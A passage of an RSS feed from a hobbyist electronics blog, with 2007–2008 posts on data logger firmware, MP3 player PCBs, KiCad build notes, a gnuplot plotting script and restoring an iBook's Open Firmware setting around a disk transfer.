		<pubDate>Tue, 12 Aug 2008 21:08:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=57</guid>
		<description><![CDATA[I recently replaced the HD in the old G4 iBook (now I see why people were excited about the new macbook designs&#8230; this vs this). Partitioned and formatted the hdd prior to installing. Thought I&#8217;d use the old &#8220;hold down T during boot to turn the laptop into a firewire drive&#8221; trick&#8230;. unfortunately this page [...]]]></description>
				<content:encoded><![CDATA[<p>I recently replaced the HD in the old G4 iBook (now I see why people were excited about the new macbook designs&#8230; <a href="http://www.ifixit.com/Guide/Mac/iBook-G4-12-Inch/Hard-Drive-Replacement/83/14/">this</a> vs <a href="http://www.ifixit.com/Guide/Mac/MacBook-Core-2-Duo/Hard-Drive-Replacement/116/5/">this</a>). Partitioned and formatted the hdd prior to installing. Thought I&#8217;d use the old &#8220;hold down T during boot to turn the laptop into a firewire drive&#8221; trick&#8230;.</p>
<p>unfortunately this page <a href="http://support.apple.com/kb/HT1661 " class="broken_link">http://support.apple.com/kb/HT1661 </a>has the note</p>
<p><span style="font-style:italic;">Important: The computer will not go into FireWire target disk mode if &#8220;Open Firmware Password&#8221; has been enabled.</span></p>
<p>So here is how to disable the open firmware  password on an ibook. (After the print env command check to see if the security-mode option is command or full.)</p>
<blockquote><p>reboot<br />hold down cmd-opt-o-f<br />printenv
<password>setenv security-mode none<br />reset-all</p>
<p>reboot <br />hold down T</p>
<p>copy files</p>
<p>reboot<br />hold down cmd-opt-o-f<br />setenv security-mode command/full what ever it was before<br />reset-all</p>
<p>get on with your life <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p></blockquote>
<p><span style="font-weight:bold;">Useful links:</span><br /><a href="http://manuals.info.apple.com/en_US/Command_Line_Admin_v10.5.pdf">http://manuals.info.apple.com/en_US/Command_Line_Admin_v10.5.pdf</a> pg134<br /><a href="http://www.firmworks.com/QuickRef.html">http://www.firmworks.com/QuickRef.html</a><br /><a href="http://www.ifixit.com">http://www.ifixit.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=57</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SHT75/SHT15 Sensors tested</title>
		<link>http://www.brokentoaster.com/blog/?p=55</link>
		<comments>http://www.brokentoaster.com/blog/?p=55#comments</comments>
		<pubDate>Tue, 17 Jun 2008 12:38:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=55</guid>
		<description><![CDATA[Found some time last weekend to test out the latest release of butterflylogger with an SHT75 sensor from www.sensiron.com, which I bought from Farnell. I haven&#8217;t had one of these for testing since I destroyed my last one back in 2004. The first thing I noticed was a very unusual looking clock signal when talking [...]]]></description>
				<content:encoded><![CDATA[<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://brokentoaster.com/butterflylogger/images/sht75-good.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px;" src="http://brokentoaster.com/butterflylogger/images/sht75-good.png" border="0" alt="" /></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://brokentoaster.com/butterflylogger/images/sht75-bad.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px;" src="http://brokentoaster.com/butterflylogger/images/sht75-bad.png" border="0" alt="" /></a><br />Found some time last weekend to test out the latest release of butterflylogger with an SHT75 sensor from www.sensiron.com, which I bought from Farnell. I haven&#8217;t had one of these for testing since I destroyed my last one back in 2004.</p>
<p>The first thing I noticed was a very unusual looking clock signal when talking to the sensor. Although this did not seem to bother the SHT75 I decided to fix it for a more robust interface.</p>
<p>I also decided to add a command to output the current readings for temperature and humidity from the device via the serial interface. &#8220;J&#8221; and &#8220;j&#8221; will print the hex values for temperature and humidity respectively.</p>
<p>I have also added the ability to do the real world conversions on the logger. If you have the code space (ie. have disabled the LCD, joystick and menu system) you can have the device log the actual temperature and relative humidity. If you are also logging the batter voltage, the logger will read the battery voltage and use this in the conversion interpolating values from the table given in the data sheet for &#8216;D1&#8242; (see page 5).</p>
<p>The overhead of adding the realworld values is about 800 bytes and using the battery voltage as well a further 200 bytes. If your looking to save space then this is probable code you would wnat to disable. In Sht.h there is a <code>#define ENABLE_SHT_CALCS </code> which can be commented out to revert to the old behaviour of simple hex values being logged and real world conversions being done on the host PC post logging.</p>
<p>Supose now I&#8217;d best get back to finishing my <a href="http://brokentoaster.com/butterflymp3/construction.html">construction pages for the mp3 player</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=55</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Firmware for ButterflyLogger</title>
		<link>http://www.brokentoaster.com/blog/?p=54</link>
		<comments>http://www.brokentoaster.com/blog/?p=54#comments</comments>
		<pubDate>Sun, 01 Jun 2008 14:12:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=54</guid>
		<description><![CDATA[The newest version of the butterflyLogger open source data logger project has been released. This version adds the ability to strip out the display, joystick and menu code to leave more room for other code. This gives you a serial only interface and more logging options but you loose the ability to interacft with the [...]]]></description>
				<content:encoded><![CDATA[<p>The newest version of the butterflyLogger open source data logger project has been released. This version adds the ability to strip out the display, joystick and menu code to leave more room for other code. This gives you a serial only interface and more logging options but you loose the ability to interacft with the logger without a terminal.</p>
<p>
<blockquote>Changes:<br />- New definitions in main.h to remove all the LCD, menu and joystick code for a serial only interface.<br />- Usart &#8216;H&#8217; command to display a message on the LCD<br />- Usart &#8216;h&#8217; command to print the data headers <br />- Changes to the makefile to produce smaller code with 4.3.0 compiler<br />- No longer need to comment out unused source files from the makefile as linker now removes unused code.</p></blockquote>
<p>More information  at <a href="http://brokentoaster.com/butterflylogger/">http://brokentoaster.com/butterflylogger/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=54</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Compiling Kicad for the Mac.</title>
		<link>http://www.brokentoaster.com/blog/?p=53</link>
		<comments>http://www.brokentoaster.com/blog/?p=53#comments</comments>
		<pubDate>Tue, 20 May 2008 21:13:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=53</guid>
		<description><![CDATA[Thought I&#8217;d post my instructions so far on getting kicad to compile on my macbook. Its missing a few steps from the last time I tried so things are getting better I guess. the pcb and gerber apps are still broken due to some nested wxDC which is no longer allowed in wxMac 2.9. I&#8217;ll [...]]]></description>
				<content:encoded><![CDATA[<p>Thought I&#8217;d post my instructions so far on getting kicad to compile on my macbook. Its missing a few steps from the last time I tried so things are getting better I guess.</p>
<p>the pcb and gerber apps are still broken due to some nested wxDC which is no longer allowed in wxMac 2.9. I&#8217;ll have to actually look at the code more closely to get it to work.</p>
<p>// build notes for kicad on osx 10.5.2<br />// wxwidgets installed using macports 1.60</p>
<p>- installed boost boost-1-34-1</p>
<p>- changed CMakeLists.txt <br />
<blockquote># Locations for install targets.<br />set(KICAD_BIN bin CACHE PATH &#8220;Location of KiCad binaries.&#8221;)</p>
<p>if(UNIX)<br />    if(APPLE)<br />        # Like all variables, CMAKE_INSTALL_PREFIX can be over-ridden on the command line.<br />        set(CMAKE_INSTALL_PREFIX /usr/local CACHE PATH &#8220;&#8221;)<br />        # When used later, &#8220;bin&#8221; and others with no leading / is relative to CMAKE_INSTALL_PREFIX.<br />        set(KICAD_PLUGINS lib/kicad/plugins CACHE PATH &#8220;Location of KiCad plugins.&#8221;)<br />        set(KICAD_DATA share/kicad CACHE PATH &#8220;Location of KiCad data files.&#8221;)<br />        set(KICAD_DOCS share/doc/kicad CACHE PATH &#8220;Location of KiCad documentation files.&#8221;)<br />    else(APPLE)<br />        # Like all variables, CMAKE_INSTALL_PREFIX can be over-ridden on the command line.<br />        set(CMAKE_INSTALL_PREFIX /usr/local CACHE PATH &#8220;&#8221;)<br />        # When used later, &#8220;bin&#8221; and others with no leading / is relative to CMAKE_INSTALL_PREFIX.<br />        set(KICAD_PLUGINS lib/kicad/plugins CACHE PATH &#8220;Location of KiCad plugins.&#8221;)<br />        set(KICAD_DATA share/kicad CACHE PATH &#8220;Location of KiCad data files.&#8221;)<br />        set(KICAD_DOCS share/doc/kicad CACHE PATH &#8220;Location of KiCad documentation files.&#8221;)<br />    endif(APPLE)<br />endif(UNIX)</p></blockquote>
<p>-  changed minizip.c<br />
<blockquote>//#ifdef unix<br /># include &#038;lt unistd.h&#038;gt<br /># include &#038;lt utime.h&#038;gt<br /># include &#038;lt sys/types.h&#038;gt<br /># include &#038;lt sys/stat.h&#038;gt<br />//#else<br />//# include &#038;lt direct.h&#038;gt<br />//# include &#038;lt io.h&#038;gt<br />//#endif</p></blockquote>
<p>- added #include &#038;lt string &#038;gt to dsn.h</p>
<p>mkdir -p build/release/<br />mkdire build/debug<br />cd  build/release<br />cmake -DCMAKE_BUILDTYPE=Release -DCMAKE_INSTALL_PREFIX=/users/nick/install ../../<br />make <br />make install</p>
<p>EDIT: As requested I have uploaded my compiled but broken builds . they are at <a href="http://brokentoaster.com/kicad/">http://brokentoaster.com/KicadDev.zip</a> You may also need to install the boost libraries.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=53</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>New MP3 hardware release&#8230; Rev F</title>
		<link>http://www.brokentoaster.com/blog/?p=52</link>
		<comments>http://www.brokentoaster.com/blog/?p=52#comments</comments>
		<pubDate>Sun, 18 May 2008 22:57:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=52</guid>
		<description><![CDATA[I&#8217;ve finally managed to release the Rev F PCB. This version simply adds an available SD card socket to the Rev E design. The SD card is available from Farnell. I&#8217;ve also done a complete (well almost) bill of materials. The BOM is almost entirely supplied by Farnell with the exception of one or two [...]]]></description>
				<content:encoded><![CDATA[<p>I&#8217;ve finally managed to release the <span style="font-weight:bold;">Rev F PCB.</span></p>
<p>This version simply adds an available SD card socket to the Rev E design. The SD card is available from Farnell.</p>
<p>I&#8217;ve also done a complete (well almost) bill of materials. The BOM is almost entirely supplied by Farnell with the exception of one or two components. To make life easier I&#8217;ve also tried to find suitable components from Digikey as well.</p>
<p>The PCB files are at <a href="https://sourceforge.net/project/showfiles.php?group_id=1241">SourceForge</a> and are in eagle format, the BOM is on the <a href="http://www.brokentoaster.com/butterflymp3/hw.html">hardware page</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=52</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Brays Terminal lives!</title>
		<link>http://www.brokentoaster.com/blog/?p=51</link>
		<comments>http://www.brokentoaster.com/blog/?p=51#comments</comments>
		<pubDate>Sat, 19 Apr 2008 16:50:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=51</guid>
		<description><![CDATA[Looks like brays terminal is back up. I&#8217;ve been struggling to find links to this great terminal program since the original site went down last year. from 8052.com http://www.8052.com/forumchat/read.phtml?id=151897 The rumors of the death of best developer&#8217;s terminal program have been greatly exaggerated: http://braypp.googlepages.com/terminal http://braypp.googlepages.com/terminal]]></description>
				<content:encoded><![CDATA[<p>Looks like brays terminal is back up. I&#8217;ve been struggling to find links to this great terminal program since the original site went down last year.</p>
<p>from 8052.com http://www.8052.com/forumchat/read.phtml?id=151897<br />
<blockquote>The rumors of the death of best developer&#8217;s terminal program have been greatly exaggerated: <br />http://braypp.googlepages.com/terminal</p>
</blockquote>
<p><a href="http://braypp.googlepages.com/terminal">http://braypp.googlepages.com/terminal</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=51</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GNUPlot for the data logger files</title>
		<link>http://www.brokentoaster.com/blog/?p=50</link>
		<comments>http://www.brokentoaster.com/blog/?p=50#comments</comments>
		<pubDate>Fri, 11 Apr 2008 18:30:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=50</guid>
		<description><![CDATA[A few people have asked how I do my graphs in the datalogger project. I use gnuplot via the following script i call &#8216;makeplots.sh&#8217; #!/bin/shfor file dognuplot]]></description>
				<content:encoded><![CDATA[<p>A few people have asked how I do my graphs in the <a href="http://www.brokentoaster.com/butterflylogger/">datalogger</a> project.</p>
<p>I use gnuplot via the following script i call &#8216;makeplots.sh&#8217;</p>
<blockquote><p>#!/bin/sh<br />for file <br />do<br />gnuplot << EOF<br />set terminal png size 1024,768<br />set output &#8220;$file.png&#8221;<br />set origin 0,0<br />plot   &#8220;$file.txt&#8221; u 3  w i t &#8216;light&#8217; axes x1y2 2, &#8220;$file.txt&#8221; u 9 w l t &#8216;Temperature&#8217; 1<br />EOF<br />open $file.png<br />done</p></blockquote>
<p>I capture the output from the logger using a terminal program and save it as &#8220;data.txt&#8221;<br />I then call &#8216;makeplots.sh data.txt&#8221; and I&#8217;m done.</p>
<p>I run this on a Mac with osX 10.5 ( it also worked in older versions as well)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=50</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MP3 Player construction videos</title>
		<link>http://www.brokentoaster.com/blog/?p=49</link>
		<comments>http://www.brokentoaster.com/blog/?p=49#comments</comments>
		<pubDate>Mon, 31 Mar 2008 01:37:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=49</guid>
		<description><![CDATA[I have finally found time to finish my construction videos for the Rev.F MP3 Player You can find it at http://www.youtube.com/view_play_list?p=B267FCFC8AEA5E5F Now to release the RevF PCB and to do the Construction page for the website with the photo and videos&#8230;&#8230;]]></description>
				<content:encoded><![CDATA[<p>I have finally found time to finish my construction videos for the Rev.F MP3 Player</p>
<p>You can find it at <a href="http://www.youtube.com/view_play_list?p=B267FCFC8AEA5E5F">http://www.youtube.com/view_play_list?p=B267FCFC8AEA5E5F</a></p>
<p>Now to release the RevF PCB and to do the Construction page for the website with the photo and videos&#8230;&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=49</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Best DIY Electronics Guides</title>
		<link>http://www.brokentoaster.com/blog/?p=48</link>
		<comments>http://www.brokentoaster.com/blog/?p=48#comments</comments>
		<pubDate>Sun, 13 Jan 2008 10:19:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=48</guid>
		<description><![CDATA[I&#8217;ve just discovered this great site which puts all my soldering videos to shame. Fantastic quality of both the video and the content itself.  I&#8217;ll still post my latest MP3 player construction videos in the near future but this site is a great resource for anyone looking at getting into building electronics at home. http://www.curiousinventor.com/guides]]></description>
				<content:encoded><![CDATA[<p>I&#8217;ve just discovered <a href="http://www.curiousinventor.com/guides">this</a> great site which puts all my soldering videos to shame. Fantastic quality of both the video and the content itself. </p>
<p>I&#8217;ll still post my latest MP3 player construction videos in the near future but this site is a great resource for anyone looking at getting into building electronics at home.</p>
<p><a href="http://www.curiousinventor.com/guides">http://www.curiousinventor.com/guides</a><br class="webkit-block-placeholder"></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=48</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New project page</title>
		<link>http://www.brokentoaster.com/blog/?p=47</link>
		<comments>http://www.brokentoaster.com/blog/?p=47#comments</comments>
		<pubDate>Sun, 25 Nov 2007 22:32:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=47</guid>
		<description><![CDATA[Just finished some minor cosmetic changes to the Brokentoaster webpages and put up a new project.The new project is Quickcoms which is the Renesas competition entry from 2005 and the basis for the article in Circuit Cellar January 2007.]]></description>
				<content:encoded><![CDATA[<p>Just finished some minor cosmetic changes to the Brokentoaster webpages and put up a new project.<br />The new project is <a href="http://brokentoaster.com/quickcoms/">Quickcoms</a> which is the Renesas competition entry from 2005 and the basis for the article in Circuit Cellar January 2007.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=47</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New MP3 Player PCBs&#8230;. soon.</title>
		<link>http://www.brokentoaster.com/blog/?p=46</link>
		<comments>http://www.brokentoaster.com/blog/?p=46#comments</comments>
		<pubDate>Thu, 15 Nov 2007 07:56:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=46</guid>
		<description><![CDATA[I&#8217;ve just finished 2 new PCB revisions for the MP3 player. One PCB uses the new VS1053 chip so should be able to play Ogg Vorbis, WMA, MP3, WAV and all the rest. This is of course at the cost of ease of construction and the PCB needs to be 2 layers so is slightly [...]]]></description>
				<content:encoded><![CDATA[<p>I&#8217;ve just finished 2 new PCB revisions for the MP3 player. One PCB uses the new VS1053 chip so should be able to play Ogg Vorbis, WMA, MP3, WAV and all the rest. This is of course at the cost of ease of construction and the PCB needs to be 2 layers so is slightly more expensivve to manufacture. Not to worry because the second design is a slight revision of the original PCB using the VS1003 so is easy to solder but MP3 only. The new designs will add the the ability to use SD and MMC cards. I  have a full bill of materials with 90% of parts available from Farnell and Digikey.</p>
<p>Hopefully this side of Christmas I&#8217;ll have them finished and tested with a whole array of new photos, instructions and videos up.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=46</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>New Butterflylogger release</title>
		<link>http://www.brokentoaster.com/blog/?p=45</link>
		<comments>http://www.brokentoaster.com/blog/?p=45#comments</comments>
		<pubDate>Fri, 21 Sep 2007 21:43:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=45</guid>
		<description><![CDATA[Just finished a new release of the butterflylogger (0.27) you can find it at http://brokentoaster.com/butterflylogger/This version adds support for DS18B20 1-Wire digital thermometers. This means you can string a number of these 12-bit thermometers an only use I/O pin on the logger.]]></description>
				<content:encoded><![CDATA[<p>Just finished a new release of the butterflylogger (0.27) you can find it at <a href="http://brokentoaster.com/butterflylogger/">http://brokentoaster.com/butterflylogger/<br /></a><br />This version adds support for DS18B20 1-Wire digital thermometers. This means you can string a number of these 12-bit thermometers an only use I/O pin on the logger.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=45</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PS/2 Keyboard startup</title>
		<link>http://www.brokentoaster.com/blog/?p=44</link>
		<comments>http://www.brokentoaster.com/blog/?p=44#comments</comments>
		<pubDate>Fri, 17 Aug 2007 18:51:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=44</guid>
		<description><![CDATA[I&#8217;ve been adding a ps2 keyboard to one of my projects and found firmware based on Atmel&#8217;s AVR313 application note didn&#8217;t work. After a bit of hunting around on the net and some careful watching on the logic analyser I found out why. When the AT keyboard is first reset it&#8217;s supposed to send an [...]]]></description>
				<content:encoded><![CDATA[<p>I&#8217;ve been adding a ps2 keyboard to one of my projects and found firmware based on Atmel&#8217;s AVR313 application note didn&#8217;t work. After a bit of hunting around on the net and some careful watching on the logic analyser I found out why.</p>
<blockquote><p>When the AT keyboard is first reset it&#8217;s supposed to send an AA if its self-test passed or FD or FC if it failed.  But before it does this, it sends a continual stream of AAs with the parity incorrect.  Once the computer sends an FE to indicate that there is a parity error, the keyboard stops sending bad AAs and sends a correct AA or an FD or FC.  This sounds like someone made a quick fix in the keyboard firmware for mis-matched reset timing (the keyboard always finishes resetting before the computer so the computer could miss the AA/FD/FC).</p></blockquote>
<p>This was found at <a href="http://www.cs.cmu.edu/afs/cs/usr/jmcm/www/info/key2.txt">http://www.cs.cmu.edu/afs/cs/usr/jmcm/www/info/key2.txt</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=44</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Logger release 0.26</title>
		<link>http://www.brokentoaster.com/blog/?p=43</link>
		<comments>http://www.brokentoaster.com/blog/?p=43#comments</comments>
		<pubDate>Mon, 06 Aug 2007 06:23:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=43</guid>
		<description><![CDATA[I&#8217;ve finally gotten around to doing a bugfix release for my Butterfly Logger. For some reason it would not compile properly on the later versions of gcc. I am still using gcc 4.02 for my development as it yields smaller builds than the current 4.1.x generation. You can now remove some of the LCD/Joystick interface [...]]]></description>
				<content:encoded><![CDATA[<p>I&#8217;ve finally gotten around to doing a bugfix release for my Butterfly Logger. For some reason it would not compile properly on the later versions of gcc. I am still using gcc 4.02 for my development as it yields smaller builds than the current 4.1.x generation.</p>
<p>You can now remove some of the LCD/Joystick interface to make it smaller so the bootloader can be used on the butterfly.</p>
<p>The link to firmware download is on this <a href="http://www.brokentoaster.com/butterflylogger">page</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=43</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Teachers Timer</title>
		<link>http://www.brokentoaster.com/blog/?p=42</link>
		<comments>http://www.brokentoaster.com/blog/?p=42#comments</comments>
		<pubDate>Wed, 25 Jul 2007 18:55:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[teachers timer electronics projects diy howto avr]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=42</guid>
		<description><![CDATA[I have just finished the website for my &#8220;Teachers Timer&#8221; project. This is all based on the documentation produced for the Circuit cellar competition last year. here is the blurb: Teachers Timer is an innovative and discrete timing device for assisting teachers and lecturers. Using cell phone style vibrations and a simple one-button interface the [...]]]></description>
				<content:encoded><![CDATA[<p>I have just finished the website for my &#8220;Teachers Timer&#8221; project. This is all based on the documentation produced for the Circuit cellar competition last year.</p>
<p>here is the blurb:<br />
<blockquote>Teachers Timer is an innovative and discrete timing device for assisting teachers and lecturers. Using cell phone style vibrations and a simple one-button interface the user can be alerted to the passage of time without staring at the clock. For lectures and presentations the device can also include a laser pointer that will gently fade in and out to alert the user.</p></blockquote>
<p>My station master project is also up at <a href="http://brokentoaster.com/stationmaster/">brokentoaster.com/stationmaster/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=42</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New soldering videos</title>
		<link>http://www.brokentoaster.com/blog/?p=41</link>
		<comments>http://www.brokentoaster.com/blog/?p=41#comments</comments>
		<pubDate>Sun, 15 Jul 2007 22:38:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=41</guid>
		<description><![CDATA[Just recorded some more soldering videos this weekend. One involves soldering a very fine pitch zigbee RF transceiver using some solder paste and a standard kitchen stove top. The other is a far more usual soldering of a TQFP ATMega 88 on the same board by hand. You should of course carry this out in [...]]]></description>
				<content:encoded><![CDATA[<p>Just recorded some more soldering videos this weekend. One involves soldering a very fine pitch zigbee RF transceiver using some solder paste and a standard kitchen stove top. The other is a far more usual soldering of a TQFP ATMega 88 on the same board by hand. </p>
<p><object width="425" height="350"><param name="movie" value="http://www.youtube.com/v/hAltru4Z6DM"></param> <embed src="http://www.youtube.com/v/hAltru4Z6DM" type="application/x-shockwave-flash" width="425" height="350"></embed></object></p>
<p>You should of course carry this out in a well ventilated area as soldering fumes are toxic.</p>
<p><object width="425" height="350"><param name="movie" value="http://www.youtube.com/v/nLRL5ybBChY"></param> <embed src="http://www.youtube.com/v/nLRL5ybBChY" type="application/x-shockwave-flash" width="425" height="350"></embed></object></p>
<p>The PCB being constructed in these videos is an open source Zigbee module. Zigbee is a low power wireless mesh networking technology based on IEEE 802.15.4 initially aimed at home and industrial automation. You can get the PCB from http://www.anteeo.se/zigbee.php</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=41</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Brokentoaster Software 2003</title>
		<link>http://www.brokentoaster.com/blog/?p=40</link>
		<comments>http://www.brokentoaster.com/blog/?p=40#comments</comments>
		<pubDate>Sat, 14 Jul 2007 08:53:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=40</guid>
		<description><![CDATA[I&#8217;ve resurrected my old geocities site from back in the day. Complete with rants, raves and how software would save the world. You can check it out here]]></description>
				<content:encoded><![CDATA[<p>I&#8217;ve resurrected my old geocities site from back in the day. Complete with rants, raves and how software would save the world. You can check it out <a href="http://www.brokentoaster.com/p45/">here</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=40</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Brokentoaster.com</title>
		<link>http://www.brokentoaster.com/blog/?p=39</link>
		<comments>http://www.brokentoaster.com/blog/?p=39#comments</comments>
		<pubDate>Thu, 12 Jul 2007 06:01:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=39</guid>
		<description><![CDATA[Well I&#8217;ve finally got around to getting a real domain and some web space. I&#8217;ve moved my SF project web pages there to http://www.brokentoaster.com/butterflylogger/ and http://www.brokentoaster.com/butterflymp3/ Hopefully I&#8217;ll post some new pages for my other hardware and software projects soon. I might even resurrect the old brokentoaster software site from the 90s.]]></description>
				<content:encoded><![CDATA[<p>Well I&#8217;ve finally got around to getting a real domain and some web space. I&#8217;ve moved my SF project web pages there to <br /><a href="http://www.brokentoaster.com/butterflymp3/"><br />http://www.brokentoaster.com/butterflylogger/</a> and <br /><a href="http://www.brokentoaster.com/butterflymp3/"><br />http://www.brokentoaster.com/butterflymp3/</a></p>
<p>Hopefully I&#8217;ll post some new pages for my other hardware and software projects soon. I might even resurrect the old brokentoaster software site from the 90s.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=39</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Thunderbird 2 dictionary problem</title>
		<link>http://www.brokentoaster.com/blog/?p=38</link>
		<comments>http://www.brokentoaster.com/blog/?p=38#comments</comments>
		<pubDate>Tue, 01 May 2007 10:21:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[thunderbird fix]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=38</guid>
		<description><![CDATA[Installed the new version of thunderbird this week which went well apart from the dictionary going mental. Not to worry easily fixed by copying the myspell files to a new directory as outlined in the post below. After installing the new release thunderbird 2.0.0.0 (update from thunderbird 1.5) the german dictionary does not work and [...]]]></description>
				<content:encoded><![CDATA[<p>Installed the new version of thunderbird this week which went well apart from the dictionary going mental. Not to worry easily fixed by copying the myspell files to a new directory as outlined in the post below.</p>
<blockquote><p>After installing the new release thunderbird 2.0.0.0 (update from thunderbird 1.5) the german dictionary does not work and the add on of the dictionary does not work too. I created a new directory ..\Mozilla Thunderbird\dictionaries and copied the old files *.dic and *.aff from ..\Mozilla Thunderbird\components\myspell to the new directory. </p></blockquote>
<p>this is in the &#8220;Program files&#8221; folder no the application settings folder as I first thought. The dictionary files are not part of a user profile but installed as and extension to the app itself.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=38</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fixing Dodgy USB devices on Windows</title>
		<link>http://www.brokentoaster.com/blog/?p=37</link>
		<comments>http://www.brokentoaster.com/blog/?p=37#comments</comments>
